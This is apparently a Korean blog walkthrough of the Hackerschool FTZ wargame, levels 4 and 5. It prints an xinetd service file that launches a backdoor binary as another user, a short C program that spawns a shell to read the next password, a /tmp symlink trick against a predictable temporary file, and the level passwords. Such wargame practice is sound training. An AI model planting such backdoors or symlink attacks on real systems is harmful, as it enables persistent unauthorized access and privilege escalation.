0. 들어가기 전에
백도어 문제다. 백도어를 사용하는법에 관한 문제인 것 같다.
1. Level 4
백도어란 기본적으로 해킹이 끝난 후의 처리라고 생각할 수 있다. 즉, 내가 언제든지 다시 이 서버에 (루트권한으로) 접속할 수 있게 뒷 문을 만들어 놓는 것이다.
하여튼, hint를 보니 /etc/xinetd.d에 백도어가 있다고 한다. 폴더에 들어가보니 backdoor라는 실행파일이 정말 대놓고(…) 존재한다.
cat으로 확인해보니 finger라는 서비스를 실행하는 슈퍼데몬 코드이다. 각 파라미터에 대한 설명은 주석으로 달아놓았다.
service finger
{
disable = no //실행 여부
flags = REUSE //포트가 사용중인경우 재사용 여부
socket_type = stream // stream, raw, dgram
wait = no // 다중, 단일
user = level5 //권한자 (localhost)
server = /home/level4/tmp/backdoor // 실행할 프로그램
log_on_failure += USERID
}
권한은 level5유저가 가지고 있고, 실행 파일(server)는 tmp/backdoor에 정의되어있어야 한다.
하지만 tmp폴더엔 아직 backdoor 실행파일이 존재하지 않기 때문에, 우리가 코딩하면 된다. ftz한정 패스워드를 알려주는 패스워드는 my-pass이기 때문에 다음과 같은 코드를 짠다.
int main(int argc, char**argv){
system("/bin/bash");
system("my-pass");
return 0;
}
간단히 my-pass 코드를 실행시키는 코드이다.
이 코드를 gcc를 이용해 실행파일로 만들고, backdoor를 실행하면 클리어.
비밀번호 : what is your name?
2. level 5
hint를 보니, level6의 권한을 가지고 있는 파일을 실행할 시, 임시파일이 /tmp/level5.tmp라는 파일이름으로 생성된다고 한다.
어떠한 실행파일이 임시파일을 만든다면, 그 임시파일을 내가 미리 만들어놓고, 내가 볼 파일을 추가로 만들어 심볼릭 링크를 걸어놓을 수 있지 않을까?
cd /tmp
nano copy
nano level5.tmp
이렇게 해서 두 개의 파일을 만든 후
이걸 단순히 ln -s copy level5.tmp 로 걸고 level5를 실행시키면 된다.
ln 명령어는 심볼릭 링크를 만드는 명령어로, 자세한건 우분투 위키를 참조하자.
실제 프로세스를 실행시킨다면, 임시파일에 프로세스 실행중에 적혔던 내용이 내가 링크된 파일에도 고스란히 복사되어 남게된다.
비밀번호 : what the hell
Source
- 해커스쿨 FTZ
- Me!